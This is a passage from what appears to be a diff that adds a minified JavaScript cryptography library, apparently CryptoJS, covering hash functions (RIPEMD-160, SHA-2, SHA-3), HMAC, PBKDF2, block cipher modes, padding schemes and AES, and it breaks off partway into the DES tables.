11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), + U = J.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), + M = J.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), V = N.RIPEMD160 = L.extend({ + _doReset: function () { + this._hash = J.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) + }, _doProcessBlock: function (a, b) { + for (var c = 0; c < 16; c++) { + var d = b + c, e = a[d]; + a[d] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8) + } + var f, h, g, i, k, m, p, r, u, v, w = this._hash.words, z = U.words, x = M.words, y = K.words, n = s.words, + F = P.words, G = S.words; + m = f = w[0], p = h = w[1], r = g = w[2], u = i = w[3], v = k = w[4]; + for (var j, c = 0; c < 80; c += 1) j = f + a[b + y[c]] | 0, j += c < 16 ? o(h, g, i) + z[0] : c < 32 ? q(h, g, i) + z[1] : c < 48 ? H(h, g, i) + z[2] : c < 64 ? C(h, g, i) + z[3] : D(h, g, i) + z[4], j |= 0, j = E(j, F[c]), j = j + k | 0, f = k, k = i, i = E(g, 10), g = h, h = j, j = m + a[b + n[c]] | 0, j += c < 16 ? D(p, r, u) + x[0] : c < 32 ? C(p, r, u) + x[1] : c < 48 ? H(p, r, u) + x[2] : c < 64 ? q(p, r, u) + x[3] : o(p, r, u) + x[4], j |= 0, j = E(j, G[c]), j = j + v | 0, m = v, v = u, u = E(r, 10), r = p, p = j; + j = w[1] + g + u | 0, w[1] = w[2] + i + v | 0, w[2] = w[3] + k + m | 0, w[3] = w[4] + f + p | 0, w[4] = w[0] + h + r | 0, w[0] = j + }, _doFinalize: function () { + var a = this._data, b = a.words, c = 8 * this._nDataBytes, d = 8 * a.sigBytes; + b[d >>> 5] |= 128 << 24 - d % 32, b[(d + 64 >>> 9 << 4) + 14] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), a.sigBytes = 4 * (b.length + 1), this._process(); + for (var e = this._hash, f = e.words, h = 0; h < 5; h++) { + var g = f[h]; + f[h] = 16711935 & (g << 8 | g >>> 24) | 4278255360 & (g << 24 | g >>> 8) + } + return e + }, clone: function () { + var a = L.clone.call(this); + return a._hash = this._hash.clone(), a + } + }); + A.RIPEMD160 = L._createHelper(V), A.HmacRIPEMD160 = L._createHmacHelper(V) + }(Math), function () { + var k = B, m = k.lib, p = m.Base, r = k.enc, u = r.Utf8, v = k.algo; + v.HMAC = p.extend({ + init: function (a, b) { + a = this._hasher = new a.init, "string" == typeof b && (b = u.parse(b)); + var c = a.blockSize, d = 4 * c; + b.sigBytes > d && (b = a.finalize(b)), b.clamp(); + for (var e = this._oKey = b.clone(), f = this._iKey = b.clone(), h = e.words, g = f.words, i = 0; i < c; i++) h[i] ^= 1549556828, g[i] ^= 909522486; + e.sigBytes = f.sigBytes = d, this.reset() + }, reset: function () { + var a = this._hasher; + a.reset(), a.update(this._iKey) + }, update: function (a) { + return this._hasher.update(a), this + }, finalize: function (a) { + var b = this._hasher, c = b.finalize(a); + b.reset(); + var d = b.finalize(this._oKey.clone().concat(c)); + return d + } + }) + }(), function () { + var x = B, y = x.lib, n = y.Base, F = y.WordArray, G = x.algo, j = G.SHA1, l = G.HMAC, o = G.PBKDF2 = n.extend({ + cfg: n.extend({keySize: 4, hasher: j, iterations: 1}), init: function (a) { + this.cfg = this.cfg.extend(a) + }, compute: function (a, b) { + for (var c = this.cfg, d = l.create(c.hasher, a), e = F.create(), f = F.create([1]), h = e.words, g = f.words, i = c.keySize, k = c.iterations; h.length < i;) { + var m = d.update(b).finalize(f); + d.reset(); + for (var p = m.words, r = p.length, u = m, v = 1; v < k; v++) { + u = d.finalize(u), d.reset(); + for (var w = u.words, z = 0; z < r; z++) p[z] ^= w[z] + } + e.concat(m), g[0]++ + } + return e.sigBytes = 4 * i, e + } + }); + x.PBKDF2 = function (a, b, c) { + return o.create(c).compute(a, b) + } + }(), function () { + var m = B, p = m.lib, r = p.Base, u = p.WordArray, v = m.algo, w = v.MD5, z = v.EvpKDF = r.extend({ + cfg: r.extend({keySize: 4, hasher: w, iterations: 1}), init: function (a) { + this.cfg = this.cfg.extend(a) + }, compute: function (a, b) { + for (var c = this.cfg, d = c.hasher.create(), e = u.create(), f = e.words, h = c.keySize, g = c.iterations; f.length < h;) { + i && d.update(i); + var i = d.update(a).finalize(b); + d.reset(); + for (var k = 1; k < g; k++) i = d.finalize(i), d.reset(); + e.concat(i) + } + return e.sigBytes = 4 * h, e + } + }); + m.EvpKDF = function (a, b, c) { + return z.create(c).compute(a, b) + } + }(), function () { + var b = B, c = b.lib, d = c.WordArray, e = b.algo, f = e.SHA256, h = e.SHA224 = f.extend({ + _doReset: function () { + this._hash = new d.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) + }, _doFinalize: function () { + var a = f._doFinalize.call(this); + return a.sigBytes -= 4, a + } + }); + b.SHA224 = f._createHelper(h), b.HmacSHA224 = f._createHmacHelper(h) + }(), function (f) { + var h = B, g = h.lib, i = g.Base, k = g.WordArray, m = h.x64 = {}; + m.Word = i.extend({ + init: function (a, b) { + this.high = a, this.low = b + } + }), m.WordArray = i.extend({ + init: function (a, b) { + a = this.words = a || [], b != f ? this.sigBytes = b : this.sigBytes = 8 * a.length + }, toX32: function () { + for (var a = this.words, b = a.length, c = [], d = 0; d < b; d++) { + var e = a[d]; + c.push(e.high), c.push(e.low) + } + return k.create(c, this.sigBytes) + }, clone: function () { + for (var a = i.clone.call(this), b = a.words = this.words.slice(0), c = b.length, d = 0; d < c; d++) b[d] = b[d].clone(); + return a + } + }) + }(), function (E) { + var A = B, I = A.lib, J = I.WordArray, L = I.Hasher, N = A.x64, K = N.Word, s = A.algo, P = [], S = [], U = []; + !function () { + for (var a = 1, b = 0, c = 0; c < 24; c++) { + P[a + 5 * b] = (c + 1) * (c + 2) / 2 % 64; + var d = b % 5, e = (2 * a + 3 * b) % 5; + a = d, b = e + } + for (var a = 0; a < 5; a++) for (var b = 0; b < 5; b++) S[a + 5 * b] = b + (2 * a + 3 * b) % 5 * 5; + for (var f = 1, h = 0; h < 24; h++) { + for (var g = 0, i = 0, k = 0; k < 7; k++) { + if (1 & f) { + var m = (1 << k) - 1; + m < 32 ? i ^= 1 << m : g ^= 1 << m - 32 + } + 128 & f ? f = f << 1 ^ 113 : f <<= 1 + } + U[h] = K.create(g, i) + } + }(); + var M = []; + !function () { + for (var a = 0; a < 25; a++) M[a] = K.create() + }(); + var V = s.SHA3 = L.extend({ + cfg: L.cfg.extend({outputLength: 512}), _doReset: function () { + for (var a = this._state = [], b = 0; b < 25; b++) a[b] = new K.init; + this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 + }, _doProcessBlock: function (a, b) { + for (var c = this._state, d = this.blockSize / 2, e = 0; e < d; e++) { + var f = a[b + 2 * e], h = a[b + 2 * e + 1]; + f = 16711935 & (f << 8 | f >>> 24) | 4278255360 & (f << 24 | f >>> 8), h = 16711935 & (h << 8 | h >>> 24) | 4278255360 & (h << 24 | h >>> 8); + var g = c[e]; + g.high ^= h, g.low ^= f + } + for (var i = 0; i < 24; i++) { + for (var k = 0; k < 5; k++) { + for (var m = 0, p = 0, r = 0; r < 5; r++) { + var g = c[k + 5 * r]; + m ^= g.high, p ^= g.low + } + var u = M[k]; + u.high = m, u.low = p + } + for (var k = 0; k < 5; k++) for (var v = M[(k + 4) % 5], w = M[(k + 1) % 5], z = w.high, x = w.low, m = v.high ^ (z << 1 | x >>> 31), p = v.low ^ (x << 1 | z >>> 31), r = 0; r < 5; r++) { + var g = c[k + 5 * r]; + g.high ^= m, g.low ^= p + } + for (var y = 1; y < 25; y++) { + var g = c[y], n = g.high, F = g.low, G = P[y]; + if (G < 32) var m = n << G | F >>> 32 - G, + p = F << G | n >>> 32 - G; else var m = F << G - 32 | n >>> 64 - G, p = n << G - 32 | F >>> 64 - G; + var j = M[S[y]]; + j.high = m, j.low = p + } + var l = M[0], o = c[0]; + l.high = o.high, l.low = o.low; + for (var k = 0; k < 5; k++) for (var r = 0; r < 5; r++) { + var y = k + 5 * r, g = c[y], q = M[y], H = M[(k + 1) % 5 + 5 * r], C = M[(k + 2) % 5 + 5 * r]; + g.high = q.high ^ ~H.high & C.high, g.low = q.low ^ ~H.low & C.low + } + var g = c[0], D = U[i]; + g.high ^= D.high, g.low ^= D.low + } + }, _doFinalize: function () { + var a = this._data, b = a.words, c = (8 * this._nDataBytes, 8 * a.sigBytes), d = 32 * this.blockSize; + b[c >>> 5] |= 1 << 24 - c % 32, b[(E.ceil((c + 1) / d) * d >>> 5) - 1] |= 128, a.sigBytes = 4 * b.length, this._process(); + for (var e = this._state, f = this.cfg.outputLength / 8, h = f / 8, g = [], i = 0; i < h; i++) { + var k = e[i], m = k.high, p = k.low; + m = 16711935 & (m << 8 | m >>> 24) | 4278255360 & (m << 24 | m >>> 8), p = 16711935 & (p << 8 | p >>> 24) | 4278255360 & (p << 24 | p >>> 8), g.push(p), g.push(m) + } + return new J.init(g, f) + }, clone: function () { + for (var a = L.clone.call(this), b = a._state = this._state.slice(0), c = 0; c < 25; c++) b[c] = b[c].clone(); + return a + } + }); + A.SHA3 = L._createHelper(V), A.HmacSHA3 = L._createHmacHelper(V) + }(Math), function () { + function t() { + return T.create.apply(T, arguments) + } + + var bb = B, bu = bb.lib, bf = bu.Hasher, bh = bb.x64, T = bh.Word, bv = bh.WordArray, bw = bb.algo, + bx = [t(1116352408, 3609767458), t(1899447441, 602891725), t(3049323471, 3964484399), t(3921009573, 2173295548), t(961987163, 4081628472), t(1508970993, 3053834265), t(2453635748, 2937671579), t(2870763221, 3664609560), t(3624381080, 2734883394), t(310598401, 1164996542), t(607225278, 1323610764), t(1426881987, 3590304994), t(1925078388, 4068182383), t(2162078206, 991336113), t(2614888103, 633803317), t(3248222580, 3479774868), t(3835390401, 2666613458), t(4022224774, 944711139), t(264347078, 2341262773), t(604807628, 2007800933), t(770255983, 1495990901), t(1249150122, 1856431235), t(1555081692, 3175218132), t(1996064986, 2198950837), t(2554220882, 3999719339), t(2821834349, 766784016), t(2952996808, 2566594879), t(3210313671, 3203337956), t(3336571891, 1034457026), t(3584528711, 2466948901), t(113926993, 3758326383), t(338241895, 168717936), t(666307205, 1188179964), t(773529912, 1546045734), t(1294757372, 1522805485), t(1396182291, 2643833823), t(1695183700, 2343527390), t(1986661051, 1014477480), t(2177026350, 1206759142), t(2456956037, 344077627), t(2730485921, 1290863460), t(2820302411, 3158454273), t(3259730800, 3505952657), t(3345764771, 106217008), t(3516065817, 3606008344), t(3600352804, 1432725776), t(4094571909, 1467031594), t(275423344, 851169720), t(430227734, 3100823752), t(506948616, 1363258195), t(659060556, 3750685593), t(883997877, 3785050280), t(958139571, 3318307427), t(1322822218, 3812723403), t(1537002063, 2003034995), t(1747873779, 3602036899), t(1955562222, 1575990012), t(2024104815, 1125592928), t(2227730452, 2716904306), t(2361852424, 442776044), t(2428436474, 593698344), t(2756734187, 3733110249), t(3204031479, 2999351573), t(3329325298, 3815920427), t(3391569614, 3928383900), t(3515267271, 566280711), t(3940187606, 3454069534), t(4118630271, 4000239992), t(116418474, 1914138554), t(174292421, 2731055270), t(289380356, 3203993006), t(460393269, 320620315), t(685471733, 587496836), t(852142971, 1086792851), t(1017036298, 365543100), t(1126000580, 2618297676), t(1288033470, 3409855158), t(1501505948, 4234509866), t(1607167915, 987167468), t(1816402316, 1246189591)], + Y = []; + !function () { + for (var a = 0; a < 80; a++) Y[a] = t() + }(); + var bi = bw.SHA512 = bf.extend({ + _doReset: function () { + this._hash = new bv.init([new T.init(1779033703, 4089235720), new T.init(3144134277, 2227873595), new T.init(1013904242, 4271175723), new T.init(2773480762, 1595750129), new T.init(1359893119, 2917565137), new T.init(2600822924, 725511199), new T.init(528734635, 4215389547), new T.init(1541459225, 327033209)]) + }, _doProcessBlock: function (a, b) { + for (var c = this._hash.words, d = c[0], e = c[1], f = c[2], h = c[3], g = c[4], i = c[5], k = c[6], m = c[7], p = d.high, r = d.low, u = e.high, v = e.low, w = f.high, z = f.low, x = h.high, y = h.low, n = g.high, F = g.low, G = i.high, j = i.low, l = k.high, o = k.low, q = m.high, H = m.low, C = p, D = r, E = u, A = v, I = w, J = z, L = x, N = y, K = n, s = F, P = G, S = j, U = l, M = o, V = q, bc = H, Q = 0; Q < 80; Q++) { + var bg = Y[Q]; + if (Q < 16) var X = bg.high = 0 | a[b + 2 * Q], R = bg.low = 0 | a[b + 2 * Q + 1]; else { + var bj = Y[Q - 15], Z = bj.high, bd = bj.low, by = (Z >>> 1 | bd << 31) ^ (Z >>> 8 | bd << 24) ^ Z >>> 7, + bk = (bd >>> 1 | Z << 31) ^ (bd >>> 8 | Z << 24) ^ (bd >>> 7 | Z << 25), bl = Y[Q - 2], ba = bl.high, + be = bl.low, bz = (ba >>> 19 | be << 13) ^ (ba << 3 | be >>> 29) ^ ba >>> 6, + bm = (be >>> 19 | ba << 13) ^ (be << 3 | ba >>> 29) ^ (be >>> 6 | ba << 26), bn = Y[Q - 7], bA = bn.high, + bB = bn.low, bo = Y[Q - 16], bC = bo.high, bp = bo.low, R = bk + bB, + X = by + bA + (R >>> 0 < bk >>> 0 ? 1 : 0), R = R + bm, X = X + bz + (R >>> 0 < bm >>> 0 ? 1 : 0), + R = R + bp, X = X + bC + (R >>> 0 < bp >>> 0 ? 1 : 0); + bg.high = X, bg.low = R + } + var bD = K & P ^ ~K & U, ut = s & S ^ ~s & M, bE = C & E ^ C & I ^ E & I, bF = D & A ^ D & J ^ A & J, + bG = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), + bq = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), + bH = (K >>> 14 | s << 18) ^ (K >>> 18 | s << 14) ^ (K << 23 | s >>> 9), + bI = (s >>> 14 | K << 18) ^ (s >>> 18 | K << 14) ^ (s << 23 | K >>> 9), br = bx[Q], bJ = br.high, + bs = br.low, O = bc + bI, W = V + bH + (O >>> 0 < bc >>> 0 ? 1 : 0), O = O + ut, + W = W + bD + (O >>> 0 < ut >>> 0 ? 1 : 0), O = O + bs, W = W + bJ + (O >>> 0 < bs >>> 0 ? 1 : 0), O = O + R, + W = W + X + (O >>> 0 < R >>> 0 ? 1 : 0), bt = bq + bF, bK = bG + bE + (bt >>> 0 < bq >>> 0 ? 1 : 0); + V = U, bc = M, U = P, M = S, P = K, S = s, s = N + O | 0, K = L + W + (s >>> 0 < N >>> 0 ? 1 : 0) | 0, L = I, N = J, I = E, J = A, E = C, A = D, D = O + bt | 0, C = W + bK + (D >>> 0 < O >>> 0 ? 1 : 0) | 0 + } + r = d.low = r + D, d.high = p + C + (r >>> 0 < D >>> 0 ? 1 : 0), v = e.low = v + A, e.high = u + E + (v >>> 0 < A >>> 0 ? 1 : 0), z = f.low = z + J, f.high = w + I + (z >>> 0 < J >>> 0 ? 1 : 0), y = h.low = y + N, h.high = x + L + (y >>> 0 < N >>> 0 ? 1 : 0), F = g.low = F + s, g.high = n + K + (F >>> 0 < s >>> 0 ? 1 : 0), j = i.low = j + S, i.high = G + P + (j >>> 0 < S >>> 0 ? 1 : 0), o = k.low = o + M, k.high = l + U + (o >>> 0 < M >>> 0 ? 1 : 0), H = m.low = H + bc, m.high = q + V + (H >>> 0 < bc >>> 0 ? 1 : 0) + }, _doFinalize: function () { + var a = this._data, b = a.words, c = 8 * this._nDataBytes, d = 8 * a.sigBytes; + b[d >>> 5] |= 128 << 24 - d % 32, b[(d + 128 >>> 10 << 5) + 30] = Math.floor(c / 4294967296), b[(d + 128 >>> 10 << 5) + 31] = c, a.sigBytes = 4 * b.length, this._process(); + var e = this._hash.toX32(); + return e + }, clone: function () { + var a = bf.clone.call(this); + return a._hash = this._hash.clone(), a + }, blockSize: 32 + }); + bb.SHA512 = bf._createHelper(bi), bb.HmacSHA512 = bf._createHmacHelper(bi) + }(), function () { + var b = B, c = b.x64, d = c.Word, e = c.WordArray, f = b.algo, h = f.SHA512, g = f.SHA384 = h.extend({ + _doReset: function () { + this._hash = new e.init([new d.init(3418070365, 3238371032), new d.init(1654270250, 914150663), new d.init(2438529370, 812702999), new d.init(355462360, 4144912697), new d.init(1731405415, 4290775857), new d.init(2394180231, 1750603025), new d.init(3675008525, 1694076839), new d.init(1203062813, 3204075428)]) + }, _doFinalize: function () { + var a = h._doFinalize.call(this); + return a.sigBytes -= 16, a + } + }); + b.SHA384 = h._createHelper(g), b.HmacSHA384 = h._createHmacHelper(g) + }(), B.lib.Cipher || function (i) { + var k = B, m = k.lib, p = m.Base, r = m.WordArray, u = m.BufferedBlockAlgorithm, v = k.enc, w = (v.Utf8, v.Base64), + z = k.algo, x = z.EvpKDF, y = m.Cipher = u.extend({ + cfg: p.extend(), createEncryptor: function (a, b) { + return this.create(this._ENC_XFORM_MODE, a, b) + }, createDecryptor: function (a, b) { + return this.create(this._DEC_XFORM_MODE, a, b) + }, init: function (a, b, c) { + this.cfg = this.cfg.extend(c), this._xformMode = a, this._key = b, this.reset() + }, reset: function () { + u.reset.call(this), this._doReset() + }, process: function (a) { + return this._append(a), this._process() + }, finalize: function (a) { + a && this._append(a); + var b = this._doFinalize(); + return b + }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { + function e(a) { + return "string" == typeof a ? A : C + } + + return function (d) { + return { + encrypt: function (a, b, c) { + return e(b).encrypt(d, a, b, c) + }, decrypt: function (a, b, c) { + return e(b).decrypt(d, a, b, c) + } + } + } + }() + }), n = (m.StreamCipher = y.extend({ + _doFinalize: function () { + var a = this._process(!0); + return a + }, blockSize: 1 + }), k.mode = {}), F = m.BlockCipherMode = p.extend({ + createEncryptor: function (a, b) { + return this.Encryptor.create(a, b) + }, createDecryptor: function (a, b) { + return this.Decryptor.create(a, b) + }, init: function (a, b) { + this._cipher = a, this._iv = b + } + }), G = n.CBC = function () { + function h(a, b, c) { + var d = this._iv; + if (d) { + var e = d; + this._iv = i + } else var e = this._prevBlock; + for (var f = 0; f < c; f++) a[b + f] ^= e[f] + } + + var g = F.extend(); + return g.Encryptor = g.extend({ + processBlock: function (a, b) { + var c = this._cipher, d = c.blockSize; + h.call(this, a, b, d), c.encryptBlock(a, b), this._prevBlock = a.slice(b, b + d) + } + }), g.Decryptor = g.extend({ + processBlock: function (a, b) { + var c = this._cipher, d = c.blockSize, e = a.slice(b, b + d); + c.decryptBlock(a, b), h.call(this, a, b, d), this._prevBlock = e + } + }), g + }(), j = k.pad = {}, l = j.Pkcs7 = { + pad: function (a, b) { + for (var c = 4 * b, d = c - a.sigBytes % c, e = d << 24 | d << 16 | d << 8 | d, f = [], h = 0; h < d; h += 4) f.push(e); + var g = r.create(f, d); + a.concat(g) + }, unpad: function (a) { + var b = 255 & a.words[a.sigBytes - 1 >>> 2]; + a.sigBytes -= b + } + }, o = (m.BlockCipher = y.extend({ + cfg: y.cfg.extend({mode: G, padding: l}), reset: function () { + y.reset.call(this); + var a = this.cfg, b = a.iv, c = a.mode; + if (this._xformMode == this._ENC_XFORM_MODE) var d = c.createEncryptor; else { + var d = c.createDecryptor; + this._minBufferSize = 1 + } + this._mode && this._mode.__creator == d ? this._mode.init(this, b && b.words) : (this._mode = d.call(c, this, b && b.words), this._mode.__creator = d) + }, _doProcessBlock: function (a, b) { + this._mode.processBlock(a, b) + }, _doFinalize: function () { + var a = this.cfg.padding; + if (this._xformMode == this._ENC_XFORM_MODE) { + a.pad(this._data, this.blockSize); + var b = this._process(!0) + } else { + var b = this._process(!0); + a.unpad(b) + } + return b + }, blockSize: 4 + }), m.CipherParams = p.extend({ + init: function (a) { + this.mixIn(a) + }, toString: function (a) { + return (a || this.formatter).stringify(this) + } + })), q = k.format = {}, H = q.OpenSSL = { + stringify: function (a) { + var b = a.ciphertext, c = a.salt; + if (c) var d = r.create([1398893684, 1701076831]).concat(c).concat(b); else var d = b; + return d.toString(w) + }, parse: function (a) { + var b = w.parse(a), c = b.words; + if (1398893684 == c[0] && 1701076831 == c[1]) { + var d = r.create(c.slice(2, 4)); + c.splice(0, 4), b.sigBytes -= 16 + } + return o.create({ciphertext: b, salt: d}) + } + }, C = m.SerializableCipher = p.extend({ + cfg: p.extend({format: H}), encrypt: function (a, b, c, d) { + d = this.cfg.extend(d); + var e = a.createEncryptor(c, d), f = e.finalize(b), h = e.cfg; + return o.create({ + ciphertext: f, + key: c, + iv: h.iv, + algorithm: a, + mode: h.mode, + padding: h.padding, + blockSize: a.blockSize, + formatter: d.format + }) + }, decrypt: function (a, b, c, d) { + d = this.cfg.extend(d), b = this._parse(b, d.format); + var e = a.createDecryptor(c, d).finalize(b.ciphertext); + return e + }, _parse: function (a, b) { + return "string" == typeof a ? b.parse(a, this) : a + } + }), D = k.kdf = {}, E = D.OpenSSL = { + execute: function (a, b, c, d) { + d || (d = r.random(8)); + var e = x.create({keySize: b + c}).compute(a, d), f = r.create(e.words.slice(b), 4 * c); + return e.sigBytes = 4 * b, o.create({key: e, iv: f, salt: d}) + } + }, A = m.PasswordBasedCipher = C.extend({ + cfg: C.cfg.extend({kdf: E}), encrypt: function (a, b, c, d) { + d = this.cfg.extend(d); + var e = d.kdf.execute(c, a.keySize, a.ivSize); + d.iv = e.iv; + var f = C.encrypt.call(this, a, b, e.key, d); + return f.mixIn(e), f + }, decrypt: function (a, b, c, d) { + d = this.cfg.extend(d), b = this._parse(b, d.format); + var e = d.kdf.execute(c, a.keySize, a.ivSize, b.salt); + d.iv = e.iv; + var f = C.decrypt.call(this, a, b, e.key, d); + return f + } + }) + }(), B.mode.CFB = function () { + function g(a, b, c, d) { + var e = this._iv; + if (e) { + var f = e.slice(0); + this._iv = void 0 + } else var f = this._prevBlock; + d.encryptBlock(f, 0); + for (var h = 0; h < c; h++) a[b + h] ^= f[h] + } + + var i = B.lib.BlockCipherMode.extend(); + return i.Encryptor = i.extend({ + processBlock: function (a, b) { + var c = this._cipher, d = c.blockSize; + g.call(this, a, b, d, c), this._prevBlock = a.slice(b, b + d) + } + }), i.Decryptor = i.extend({ + processBlock: function (a, b) { + var c = this._cipher, d = c.blockSize, e = a.slice(b, b + d); + g.call(this, a, b, d, c), this._prevBlock = e + } + }), i + }(), B.mode.ECB = function () { + var c = B.lib.BlockCipherMode.extend(); + return c.Encryptor = c.extend({ + processBlock: function (a, b) { + this._cipher.encryptBlock(a, b) + } + }), c.Decryptor = c.extend({ + processBlock: function (a, b) { + this._cipher.decryptBlock(a, b) + } + }), c + }(), B.pad.AnsiX923 = { + pad: function (a, b) { + var c = a.sigBytes, d = 4 * b, e = d - c % d, f = c + e - 1; + a.clamp(), a.words[f >>> 2] |= e << 24 - f % 4 * 8, a.sigBytes += e + }, unpad: function (a) { + var b = 255 & a.words[a.sigBytes - 1 >>> 2]; + a.sigBytes -= b + } + }, B.pad.Iso10126 = { + pad: function (a, b) { + var c = 4 * b, d = c - a.sigBytes % c; + a.concat(B.lib.WordArray.random(d - 1)).concat(B.lib.WordArray.create([d << 24], 1)) + }, unpad: function (a) { + var b = 255 & a.words[a.sigBytes - 1 >>> 2]; + a.sigBytes -= b + } + }, B.pad.Iso97971 = { + pad: function (a, b) { + a.concat(B.lib.WordArray.create([2147483648], 1)), B.pad.ZeroPadding.pad(a, b) + }, unpad: function (a) { + B.pad.ZeroPadding.unpad(a), a.sigBytes-- + } + }, B.mode.OFB = function () { + var g = B.lib.BlockCipherMode.extend(), i = g.Encryptor = g.extend({ + processBlock: function (a, b) { + var c = this._cipher, d = c.blockSize, e = this._iv, f = this._keystream; + e && (f = this._keystream = e.slice(0), this._iv = void 0), c.encryptBlock(f, 0); + for (var h = 0; h < d; h++) a[b + h] ^= f[h] + } + }); + return g.Decryptor = i, g + }(), B.pad.NoPadding = { + pad: function () { + }, unpad: function () { + } + }, function (c) { + var d = B, e = d.lib, f = e.CipherParams, h = d.enc, g = h.Hex, i = d.format; + i.Hex = { + stringify: function (a) { + return a.ciphertext.toString(g) + }, parse: function (a) { + var b = g.parse(a); + return f.create({ciphertext: b}) + } + } + }(), function () { + var n = B, F = n.lib, G = F.BlockCipher, j = n.algo, l = [], o = [], q = [], H = [], C = [], D = [], E = [], A = [], + I = [], J = []; + !function () { + for (var a = [], b = 0; b < 256; b++) b < 128 ? a[b] = b << 1 : a[b] = b << 1 ^ 283; + for (var c = 0, d = 0, b = 0; b < 256; b++) { + var e = d ^ d << 1 ^ d << 2 ^ d << 3 ^ d << 4; + e = e >>> 8 ^ 255 & e ^ 99, l[c] = e, o[e] = c; + var f = a[c], h = a[f], g = a[h], i = 257 * a[e] ^ 16843008 * e; + q[c] = i << 24 | i >>> 8, H[c] = i << 16 | i >>> 16, C[c] = i << 8 | i >>> 24, D[c] = i; + var i = 16843009 * g ^ 65537 * h ^ 257 * f ^ 16843008 * c; + E[e] = i << 24 | i >>> 8, A[e] = i << 16 | i >>> 16, I[e] = i << 8 | i >>> 24, J[e] = i, c ? (c = f ^ a[a[a[g ^ f]]], d ^= a[a[d]]) : c = d = 1 + } + }(); + var L = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], N = j.AES = G.extend({ + _doReset: function () { + if (!this._nRounds || this._keyPriorReset !== this._key) { + for (var a = this._keyPriorReset = this._key, b = a.words, c = a.sigBytes / 4, d = this._nRounds = c + 6, e = 4 * (d + 1), f = this._keySchedule = [], h = 0; h < e; h++) if (h < c) f[h] = b[h]; else { + var g = f[h - 1]; + h % c ? c > 6 && h % c == 4 && (g = l[g >>> 24] << 24 | l[g >>> 16 & 255] << 16 | l[g >>> 8 & 255] << 8 | l[255 & g]) : (g = g << 8 | g >>> 24, g = l[g >>> 24] << 24 | l[g >>> 16 & 255] << 16 | l[g >>> 8 & 255] << 8 | l[255 & g], g ^= L[h / c | 0] << 24), f[h] = f[h - c] ^ g + } + for (var i = this._invKeySchedule = [], k = 0; k < e; k++) { + var h = e - k; + if (k % 4) var g = f[h]; else var g = f[h - 4]; + k < 4 || h <= 4 ? i[k] = g : i[k] = E[l[g >>> 24]] ^ A[l[g >>> 16 & 255]] ^ I[l[g >>> 8 & 255]] ^ J[l[255 & g]] + } + } + }, encryptBlock: function (a, b) { + this._doCryptBlock(a, b, this._keySchedule, q, H, C, D, l) + }, decryptBlock: function (a, b) { + var c = a[b + 1]; + a[b + 1] = a[b + 3], a[b + 3] = c, this._doCryptBlock(a, b, this._invKeySchedule, E, A, I, J, o); + var c = a[b + 1]; + a[b + 1] = a[b + 3], a[b + 3] = c + }, _doCryptBlock: function (a, b, c, d, e, f, h, g) { + for (var i = this._nRounds, k = a[b] ^ c[0], m = a[b + 1] ^ c[1], p = a[b + 2] ^ c[2], r = a[b + 3] ^ c[3], u = 4, v = 1; v < i; v++) { + var w = d[k >>> 24] ^ e[m >>> 16 & 255] ^ f[p >>> 8 & 255] ^ h[255 & r] ^ c[u++], + z = d[m >>> 24] ^ e[p >>> 16 & 255] ^ f[r >>> 8 & 255] ^ h[255 & k] ^ c[u++], + x = d[p >>> 24] ^ e[r >>> 16 & 255] ^ f[k >>> 8 & 255] ^ h[255 & m] ^ c[u++], + y = d[r >>> 24] ^ e[k >>> 16 & 255] ^ f[m >>> 8 & 255] ^ h[255 & p] ^ c[u++]; + k = w, m = z, p = x, r = y + } + var w = (g[k >>> 24] << 24 | g[m >>> 16 & 255] << 16 | g[p >>> 8 & 255] << 8 | g[255 & r]) ^ c[u++], + z = (g[m >>> 24] << 24 | g[p >>> 16 & 255] << 16 | g[r >>> 8 & 255] << 8 | g[255 & k]) ^ c[u++], + x = (g[p >>> 24] << 24 | g[r >>> 16 & 255] << 16 | g[k >>> 8 & 255] << 8 | g[255 & m]) ^ c[u++], + y = (g[r >>> 24] << 24 | g[k >>> 16 & 255] << 16 | g[m >>> 8 & 255] << 8 | g[255 & p]) ^ c[u++]; + a[b] = w, a[b + 1] = z, a[b + 2] = x, a[b + 3] = y + }, keySize: 8 + }); + n.AES = G._createHelper(N) + }(), function () { + function m(a, b) { + var c = (this._lBlock >>> a ^ this._rBlock) & b; + this._rBlock ^= c, this._lBlock ^= c << a + } + + function p(a, b) { + var c = (this._rBlock >>> a ^ this._lBlock) & b; + this._lBlock ^= c, this._rBlock ^= c << a + } + + var r = B, u = r.lib, v = u.WordArray, w = u.BlockCipher, z = r.algo, + x = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], + y = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], + n = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], F = [{ + 0: 8421888, + 268435456: 32768, + 536870912: 8421378, + 805306368: 2, + 1073741824: 512, + 1342177280: 8421890, + 1610612736: 8389122, + 1879048192: 8388608, + 2147483648: 